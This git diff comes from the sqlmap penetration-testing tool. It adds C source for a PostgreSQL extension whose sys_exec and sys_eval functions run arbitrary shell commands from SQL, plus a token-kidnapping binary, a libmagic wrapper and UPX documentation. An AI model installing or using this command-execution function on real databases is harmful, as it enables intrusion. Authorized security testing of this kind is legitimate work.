lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#endif + +#include <postgres.h> +#include <fmgr.h> +#include <stdlib.h> + +#include <ctype.h> + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +PG_FUNCTION_INFO_V1(sys_exec); +extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + int32 result = 0; + char *command; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + char *command; + char *result; + FILE *pipe; + char line[1024]; + int32 outlen, linelen; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(command, "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = (char *)realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (*result) { + result[outlen-1] = 0x00; + } + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); + VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; + //SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); + memcpy(VARDATA(result_text), result, strlen(result)); + + PG_RETURN_POINTER(result_text); +} \ No newline at end of file diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c new file mode 100644 index 000000000..b07fbb56c --- /dev/null +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c @@ -0,0 +1,111 @@ +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#endif + +#include <postgres.h> +#include <fmgr.h> +#include <stdlib.h> + +#include <ctype.h> + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +PG_FUNCTION_INFO_V1(sys_exec); +extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + int32 result = 0; + char *command; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + char *command; + char *result; + FILE *pipe; + char line[1024]; + int32 outlen, linelen; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(command, "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = (char *)realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (*result) { + result[outlen-1] = 0x00; + } + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); + //VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; + SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); + memcpy(VARDATA(result_text), result, strlen(result)); + + PG_RETURN_POINTER(result_text); +} diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz b/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz index 575c46e0a..1ea6a0eb2 100644 Binary files a/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz and b/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz differ diff --git a/lib/__init__.py b/lib/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com> - and Daniele Bellucci <daniele.bellucci@gmail.com> +Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com> +Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com> sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/contrib/__init__.py b/lib/contrib/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/contrib/__init__.py +++ b/lib/contrib/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com> - and Daniele Bellucci <daniele.bellucci@gmail.com> +Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com> +Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com> sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/contrib/magic.py b/lib/contrib/magic.py new file mode 100644 index 000000000..8c50ded15 --- /dev/null +++ b/lib/contrib/magic.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python + +""" +$Id$ + +Adam Hupp <adam@hupp.org> + +Reference: http://hupp.org/adam/hg/python-magic + +License: PSF (http://www.python.org/psf/license/) +""" + + + +import os.path +import ctypes +import ctypes.util + +from ctypes import c_char_p, c_int, c_size_t, c_void_p + +class MagicException(Exception): pass + +class Magic: + """ + Magic is a wrapper around the libmagic C library. + + """ + + def __init__(self, mime=False, magic_file=None): + """ + Create a new libmagic wrapper. + + mime - if True, mimetypes are returned instead of textual descriptions + magic_file - use a mime database other than the system default + + """ + flags = MAGIC_NONE + if mime: + flags |= MAGIC_MIME + + self.cookie = magic_open(flags) + + magic_load(self.cookie, magic_file) + + + def from_buffer(self, buf): + """ + Identify the contents of `buf` + """ + return magic_buffer(self.cookie, buf) + + def from_file(self, filename): + """ + Identify the contents of file `filename` + raises IOError if the file does not exist + """ + + if not os.path.exists(filename): + raise IOError("File does not exist: " + filename) + + return magic_file(self.cookie, filename) + + def __del__(self): + try: + magic_close(self.cookie) + except Exception, e: + print "got thig: ", e + + +_magic_mime = None +_magic = None + +def _get_magic_mime(): + global _magic_mime + if not _magic_mime: + _magic_mime = Magic(mime=True) + return _magic_mime + +def _get_magic(): + global _magic + if not _magic: + _magic = Magic() + return _magic + +def _get_magic_type(mime): + if mime: + return _get_magic_mime() + else: + return _get_magic() + +def from_file(filename, mime=False): + m = _get_magic_type(mime) + return m.from_file(filename) + +def from_buffer(buffer, mime=False): + m = _get_magic_type(mime) + return m.from_buffer(buffer) + + + + +libmagic = ctypes.CDLL(ctypes.util.find_library('magic')) + +magic_t = ctypes.c_void_p + +def errorcheck(result, func, args): + err = magic_error(args[0]) + if err is not None: + raise MagicException(err) + else: + return result + +magic_open = libmagic.magic_open +magic_open.restype = magic_t +magic_open.argtypes = [c_int] + +magic_close = libmagic.magic_close +magic_close.restype = None +magic_close.argtypes = [magic_t] +magic_close.errcheck = errorcheck + +magic_error = libmagic.magic_error +magic_error.restype = c_char_p +magic_error.argtypes = [magic_t] + +magic_errno = libmagic.magic_errno +magic_errno.restype = c_int +magic_errno.argtypes = [magic_t] + +magic_file = libmagic.magic_file +magic_file.restype = c_char_p +magic_file.argtypes = [magic_t, c_char_p] +magic_file.errcheck = errorcheck + + +_magic_buffer = libmagic.magic_buffer +_magic_buffer.restype = c_char_p +_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t] +_magic_buffer.errcheck = errorcheck + + +def magic_buffer(cookie, buf): + return _magic_buffer(cookie, buf, len(buf)) + + +magic_load = libmagic.magic_load +magic_load.restype = c_int +magic_load.argtypes = [magic_t, c_char_p] +magic_load.errcheck = errorcheck + +magic_setflags = libmagic.magic_setflags +magic_setflags.restype = c_int +magic_setflags.argtypes = [magic_t, c_int] + +magic_check = libmagic.magic_check +magic_check.restype = c_int +magic_check.argtypes = [magic_t, c_char_p] + +magic_compile = libmagic.magic_compile +magic_compile.restype = c_int +magic_compile.argtypes = [magic_t, c_char_p] + + + +MAGIC_NONE = 0x000000 # No flags + +MAGIC_DEBUG = 0x000001 # Turn on debugging + +MAGIC_SYMLINK = 0x000002 # Follow symlinks + +MAGIC_COMPRESS = 0x000004 # Check inside compressed files + +MAGIC_DEVICES = 0x000008 # Look at the contents of devices + +MAGIC_MIME = 0x000010 # Return a mime string + +MAGIC_CONTINUE = 0x000020 # Return all matches + +MAGIC_CHECK = 0x000040 # Print warnings to stderr + +MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit + +MAGIC_RAW = 0x000100 # Don't translate unprintable chars + +MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors + +MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files + +MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files + +MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries + +MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type + +MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details + +MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files + +MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff + +MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran + +MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens diff --git a/lib/contrib/tokenkidnapping/Churrasco.exe b/lib/contrib/tokenkidnapping/Churrasco.exe new file mode 100755 index 000000000..3fdb5bdbe Binary files /dev/null and b/lib/contrib/tokenkidnapping/Churrasco.exe differ diff --git a/lib/contrib/upx/doc/LICENSE b/lib/contrib/upx/doc/LICENSE new file mode 100644 index 000000000..444ded8d9 --- /dev/null +++ b/lib/contrib/upx/doc/LICENSE @@ -0,0 +1,138 @@ +-----BEGIN PGP SIGNED MESSAGE----- + + + ooooo ooo ooooooooo. ooooooo ooooo + `888' `8' `888 `Y88. `8888 d8' + 888 8 888 .d88' Y888..8P + 888 8 888ooo88P' `8888' + 888 8 888 .8PY888. + `88. .8' 888 d8' `888b + `YbodP' o888o o888o o88888o + + + The Ultimate Packer for eXecutables + Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar + http://wildsau.idv.uni-linz.ac.at/mfx/upx.html + http://www.nexus.hu/upx + http://upx.tsx.org + + +PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN +TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION. + + +ABSTRACT +======== + + UPX and UCL are copyrighted software distributed under the terms + of the GNU General Public License (hereinafter the "GPL"). + + The stub which is imbedded in each UPX compressed program is part + of UPX and UCL, and contains code that is under our copyright. The + terms of the GNU General Public License still apply as compressing + a program is a special form of linking with our stub. + + As a special exception we grant the free usage of UPX for all + executables, including commercial programs. + See below for details and restrictions. + + +COPYRIGHT +========= + + UPX and UCL are copyrighted software. All rights remain with the authors. + + UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer + UPX is Copyright (C) 1996-2000 Laszlo Molnar + + UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer + + +GNU GENERAL PUBLIC LICENSE +========================== + + UPX and the UCL library are free software; you can redistribute them + and/or modify them under the terms of the GNU General Public License as + published by the Free Software Foundation; either version 2 of + the License, or (at your option) any later version. + + UPX and UCL are distributed in the hope that they will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; see the file COPYING. + + +SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES +============================================ + + The stub which is imbedded in each UPX compressed program is part + of UPX and UCL, and contains code that is under our copyright. The + terms of the GNU General Public License still apply as compressing + a program is a special form of linking with our stub. + + Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special + permission to freely use and distribute all UPX compressed programs + (including commercial ones), subject to the following restrictions: + + 1. You must compress your program with a completely unmodified UPX + version; either with our precompiled version, or (at your option) + with a self compiled version of the unmodified UPX sources as + distributed by us. + 2. This also implies that the UPX stub must be completely unmodfied, i.e. + the stub imbedded in your compressed program must be byte-identical + to the stub that is produced by the official unmodified UPX version. + 3. The decompressor and any other code from the stub must exclusively get + used by the unmodified UPX stub for decompressing your program at + program startup. No portion of the stub may get read, copied, + called or otherwise get used or accessed by your program. + + +ANNOTATIONS +=========== + + - You can use a modified UPX version or modified UPX stub only for + programs that are compatible with the GNU General Public License. + + - We grant you special permission to freely use and distribute all UPX + compressed programs. But any modification of the UPX stub (such as, + but not limited to, removing our copyright string or making your + program non-decompressible) will immediately revoke your right to + use and distribute a UPX compressed program. + + - UPX is not a software protection tool; by requiring that you use + the unmodified UPX version for your proprietary programs we + make sure that any user can decompress your program. This protects + both you and your users as nobody can hide malicious code - + any program that cannot be decompressed is highly suspicious + by definition. + + - You can integrate all or part of UPX and UCL into projects that + are compatible with the GNU GPL, but obviously you cannot grant + any special exceptions beyond the GPL for our code in your project. + + - We want to actively support manufacturers of virus scanners and + similar security software. Please contact us if you would like to + incorporate parts of UPX or UCL into such a product. + + + +Markus F.X.J. Oberhumer Laszlo Molnar +markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu + +Linz, Austria, 25 Feb 2000 + + + +-----BEGIN PGP SIGNATURE----- +Version: 2.6.3ia +Charset: noconv + +iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI +wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf +dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx +OO03+ojZdO8= +=CS52 +-----END PGP SIGNATURE----- diff --git a/lib/contrib/upx/doc/README b/lib/contrib/upx/doc/README new file mode 100644 index 000000000..c0f3ff875 --- /dev/null +++ b/lib/contrib/upx/doc/README @@ -0,0 +1,142 @@ + ooooo ooo ooooooooo. ooooooo ooooo + `888' `8' `888 `Y88. `8888 d8' + 888 8 888 .d88' Y888..8P + 888 8 888ooo88P' `8888' + 888 8 888 .8PY888. + `88. .8' 888 d8' `888b + `YbodP' o888o o888o o88888o + + + The Ultimate Packer for eXecutables + Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser + http://upx.sourceforge.net + + + +WELCOME +======= + +Welcome to UPX ! + +Please don't forget to read the file LICENSE - UPX is distributed +under the GNU General Public License (GPL) with special exceptions +allowing the distribution of all compressed executables, including +commercial programs. + + +INTRODUCTION +============ + +UPX is an advanced executable file compressor. UPX will typically +reduce the file size of programs and DLLs by around 50%-70%, thus +reducing disk space, network load times, download times and +other distribution and storage costs. + +Programs and libraries compressed by UPX are completely self-contained +and run exactly as before, with no runtime or memory penalty for most +of the supported formats. + +UPX supports a number of different executable formats, including +Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs, +and Linux executables and kernels. + +UPX is free software distributed under the term of the GNU General +Public License. Full source code is available. + +UPX may be distributed and used freely, even with commercial applications. +See the UPX License Agreement for details. + +UPX is rated number one in the well known Archive Comparison Test. Visit +http://compression.ca/ . + +UPX aims to be Commercial Quality Freeware. + + +SHORT DOCUMENTATION +=================== + +'upx program.exe' will compress a program or DLL. For best compression +results try 'upx --brute program.exe'. + +Please see the file UPX.DOC for the full documentation. The files +NEWS and BUGS also contain various tidbits of information. + + +DISCLAIMER +========== + +UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE. + +Having said that, we think that UPX is quite stable now. Indeed we +have compressed lots of files without any problems. Also, the +current version has undergone several months of beta testing - +actually it's almost 8 years since our first public beta. + +This is the first production quality release, and we plan that future +releases will be backward compatible with this version. + +Please report all problems or suggestions to the authors. Thanks. + + +THE FUTURE +========== + + - We'd really love to support handheld systems like the PalmPilot because + compression makes a lot of sense here. And - because of the atari/tos + format - we already have a working decompressor in 68000 assembly. + Unfortunately we know next to nothing about the operating system + architecture of such handhelds, so we need some information from + an expert. Please contact us if you think you can help. + + - The Linux approach could probably get ported to a lot of other Unix + variants, at least for other i386 architectures it shouldn't be too + much work. If someone sends me a fresh hard disk and an official + FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-) + + - We will *NOT* add any sort of protection and/or encryption. + This only gives people a false feeling of security because + by definition all protectors/compressors can be broken. + And don't trust any advertisement of authors of other executable + compressors about this topic - just do a websearch on "unpackers"... + + - Fix all remaining bugs - keep your reports coming ;-) + + - See the file PROJECTS in the source code distribution if you want + to contribute. + + +COPYRIGHT +========= + +Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer +Copyright (C) 1996-2008 Laszlo Molnar +Copyright (C) 2000-2008 John F. Reiser + +This program may be used freely, and you are welcome to +redistribute it under certain conditions. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +UPX License Agreement for more details. + +You should have received a copy of the UPX License Agreement along +with this program; see the file LICENSE. If not, visit the UPX home page. + + +Share and enjoy, +Markus & Laszlo + + + Markus F.X.J. Oberhumer Laszlo Molnar + <markus@oberhumer.com> <ml1050@users.sourceforge.net> + + + +[ The term UPX is a shorthand for the Ultimate Packer for eXecutables + and holds no connection with potential owners of registered trademarks + or other rights. ] + +[ Feel free to contact us if you have commercial compression requirements + or interesting job offers. ] + diff --git a/lib/contrib/upx/doc/upx.html b/lib/contrib/upx/doc/upx.html new file mode 100644 index 000000000..a7c3e657d --- /dev/null +++ b/lib/contrib/upx/doc/upx.html @@ -0,0 +1,888 @@ +<?xml version="1.0" ?> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml"> +<head> +<title>upx - compress or expand executable files + + + + + + +

      + + + + +

      +

      +

      NAME

      +

      upx - compress or expand executable files

      +

      +

      +
      +

      SYNOPSIS

      +

      upxcommand ] [ options ] filename...

      +

      +

      +
      +

      ABSTRACT

      +
      +                    The Ultimate Packer for eXecutables
      +   Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
      +                        http://upx.sourceforge.net
      +

      UPX is a portable, extendable, high-performance executable packer for +several different executable formats. It achieves an excellent compression +ratio and offers *very* fast decompression. Your executables suffer +no memory overhead or other drawbacks for most of the formats supported, +because of in-place decompression.

      +

      While you may use UPX freely for both non-commercial and commercial +executables (for details see the file LICENSE), we would highly +appreciate if you credit UPX and ourselves in the documentation, +possibly including a reference to the UPX home page. Thanks.

      +

      [ Using UPX in non-OpenSource applications without proper credits +is considered not politically correct ;-) ]

      +

      +

      +
      +

      DISCLAIMER

      +

      UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.

      +

      This is the first production quality release, and we plan that future 1.xx +releases will be backward compatible with this version.

      +

      Please report all problems or suggestions to the authors. Thanks.

      +

      +

      +
      +

      DESCRIPTION

      +

      UPX is a versatile executable packer with the following features:

      +
      +  - excellent compression ratio: compresses better than zip/gzip,
      +      use UPX to decrease the size of your distribution !
      +
      +  - very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
      +      about 200 MiB/sec on an Athlon XP 2000+.
      +
      +  - no memory overhead for your compressed executables for most of the
      +      supported formats
      +
      +  - safe: you can list, test and unpack your executables
      +      Also, a checksum of both the compressed and uncompressed file is
      +      maintained internally.
      +
      +  - universal: UPX can pack a number of executable formats:
      +      * atari/tos
      +      * bvmlinuz/386    [bootable Linux kernel]
      +      * djgpp2/coff
      +      * dos/com
      +      * dos/exe
      +      * dos/sys
      +      * linux/386
      +      * linux/elf386
      +      * linux/sh386
      +      * ps1/exe
      +      * rtm32/pe
      +      * tmt/adam
      +      * vmlinuz/386     [bootable Linux kernel]
      +      * vmlinux/386
      +      * watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
      +      * win32/pe (exe and dll)
      +      * arm/pe (exe and dll)
      +      * linux/elfamd64
      +      * linux/elfppc32
      +      * mach/elfppc32
      +
      +  - portable: UPX is written in portable endian-neutral C++
      +
      +  - extendable: because of the class layout it's very easy to support
      +      new executable formats or add new compression algorithms
      +
      +  - free: UPX can be distributed and used freely. And from version 0.99
      +      the full source code of UPX is released under the GNU General Public
      +      License (GPL) !
      +

      You probably understand now why we call UPX the ``ultimate'' +executable packer.

      +

      +

      +
      +

      COMMANDS

      +

      +

      +

      Compress

      +

      This is the default operation, eg. upx yourfile.exe will compress the file +specified on the command line.

      +

      +

      +

      Decompress

      +

      All UPX supported file formats can be unpacked using the -d switch, eg. +upx -d yourfile.exe will uncompress the file you've just compressed.

      +

      +

      +

      Test

      +

      The -t command tests the integrity of the compressed and uncompressed +data, eg. upx -t yourfile.exe check whether your file can be safely +decompressed. Note, that this command doesn't check the whole file, only +the part that will be uncompressed during program execution. This means +that you should not use this command instead of a virus checker.

      +

      +

      +

      List

      +

      The -l command prints out some information about the compressed files +specified on the command line as parameters, eg upx -l yourfile.exe +shows the compressed / uncompressed size and the compression ratio of +yourfile.exe.

      +

      +

      +
      +

      OPTIONS

      +

      -q: be quiet, suppress warnings

      +

      -q -q (or -qq): be very quiet, suppress errors

      +

      -q -q -q (or -qqq): produce no output at all

      +

      --help: prints the help

      +

      --version: print the version of UPX

      +

      --exact: when compressing, require to be able to get a byte-identical file +after decompression with option -d. [NOTE: this is work in progress and is +not supported for all formats yet. If you do care, as a workaround you can +compress and then decompress your program a first time - any further +compress-decompress steps should then yield byte-identical results +as compared to the first decompressed version.]

      +

      [ ...to be written... - type `upx --help' for now ]

      +

      +

      +
      +

      COMPRESSION LEVELS & TUNING

      +

      UPX offers ten different compression levels from -1 to -9, +and --best. The default compression level is -8 for files +smaller than 512 KiB, and -7 otherwise.

      +
        +
      • +

        Compression levels 1, 2 and 3 are pretty fast.

        +
      • +
      • +

        Compression levels 4, 5 and 6 achieve a good time/ratio performance.

        +
      • +
      • +

        Compression levels 7, 8 and 9 favor compression ratio over speed.

        +
      • +
      • +

        Compression level --best may take a long time.

        +
      • +
      +

      Note that compression level --best can be somewhat slow for large +files, but you definitely should use it when releasing a final version +of your program.

      +

      Quick info for achieving the best compression ratio:

      +
        +
      • +

        Try upx --brute myfile.exe or even upx --ultra-brute myfile.exe.

        +
      • +
      • +

        Try if --overlay=strip works.

        +
      • +
      • +

        For win32/pe programs there's --strip-relocs=0. See notes below.

        +
      • +
      +

      +

      +
      +

      OVERLAY HANDLING OPTIONS

      +

      Info: An ``overlay'' means auxiliary data attached after the logical end of +an executable, and it often contains application specific data +(this is a common practice to avoid an extra data file, though +it would be better to use resource sections).

      +

      UPX handles overlays like many other executable packers do: it simply +copies the overlay after the compressed image. This works with some +files, but doesn't work with others, depending on how an application +actually accesses this overlayed data.

      +
      +  --overlay=copy    Copy any extra data attached to the file. [DEFAULT]
      +
      +  --overlay=strip   Strip any overlay from the program instead of
      +                    copying it. Be warned, this may make the compressed
      +                    program crash or otherwise unusable.
      +
      +  --overlay=skip    Refuse to compress any program which has an overlay.
      +

      +

      +
      +

      ENVIRONMENT

      +

      The environment variable UPX can hold a set of default +options for UPX. These options are interpreted first and +can be overwritten by explicit command line parameters. +For example:

      +
      +    for DOS/Windows:   set UPX=-9 --compress-icons#0
      +    for sh/ksh/zsh:    UPX="-9 --compress-icons=0"; export UPX
      +    for csh/tcsh:      setenv UPX "-9 --compress-icons=0"
      +

      Under DOS/Windows you must use '#' instead of '=' when setting the +environment variable because of a COMMAND.COM limitation.

      +

      Not all of the options are valid in the environment variable - +UPX will tell you.

      +

      You can explicitly use the --no-env option to ignore the +environment variable.

      +

      +

      +
      +

      NOTES FOR THE SUPPORTED EXECUTABLE FORMATS

      +

      +

      +

      NOTES FOR ATARI/TOS

      +

      This is the executable format used by the Atari ST/TT, a Motorola 68000 +based personal computer which was popular in the late '80s. Support +of this format is only because of nostalgic feelings of one of +the authors and serves no practical purpose :-). +See http://www.freemint.de for more info.

      +

      Packed programs will be byte-identical to the original after uncompression. +All debug information will be stripped, though.

      +

      Extra options available for this executable format:

      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +

      +

      +

      NOTES FOR BVMLINUZ/I386

      +

      Same as vmlinuz/i386.

      +

      +

      +

      NOTES FOR DOS/COM

      +

      Obviously UPX won't work with executables that want to read data from +themselves (like some commandline utilities that ship with Win95/98/ME).

      +

      Compressed programs only work on a 286+.

      +

      Packed programs will be byte-identical to the original after uncompression.

      +

      Maximum uncompressed size: ~65100 bytes.

      +

      Extra options available for this executable format:

      +
      +  --8086              Create an executable that works on any 8086 CPU.
      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +
      +  --all-filters       Compress the program several times, using all
      +                      available preprocessing filters. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default filter gives the best results anyway.
      +

      +

      +

      NOTES FOR DOS/EXE

      +

      dos/exe stands for all ``normal'' 16-bit DOS executables.

      +

      Obviously UPX won't work with executables that want to read data from +themselves (like some command line utilities that ship with Win95/98/ME).

      +

      Compressed programs only work on a 286+.

      +

      Extra options available for this executable format:

      +
      +  --8086              Create an executable that works on any 8086 CPU.
      +
      +  --no-reloc          Use no relocation records in the exe header.
      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +

      +

      +

      NOTES FOR DOS/SYS

      +

      Compressed programs only work on a 286+.

      +

      Packed programs will be byte-identical to the original after uncompression.

      +

      Maximum uncompressed size: ~65350 bytes.

      +

      Extra options available for this executable format:

      +
      +  --8086              Create an executable that works on any 8086 CPU.
      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +
      +  --all-filters       Compress the program several times, using all
      +                      available preprocessing filters. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default filter gives the best results anyway.
      +

      +

      +

      NOTES FOR DJGPP2/COFF

      +

      First of all, it is recommended to use UPX *instead* of strip. strip has +the very bad habit of replacing your stub with its own (outdated) version. +Additionally UPX corrects a bug/feature in strip v2.8.x: it +will fix the 4 KiB alignment of the stub.

      +

      UPX includes the full functionality of stubify. This means it will +automatically stubify your COFF files. Use the option --coff to +disable this functionality (see below).

      +

      UPX automatically handles Allegro packfiles.

      +

      The DLM format (a rather exotic shared library extension) is not supported.

      +

      Packed programs will be byte-identical to the original after uncompression. +All debug information and trailing garbage will be stripped, though.

      +

      Extra options available for this executable format:

      +
      +  --coff              Produce COFF output instead of EXE. By default
      +                      UPX keeps your current stub.
      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
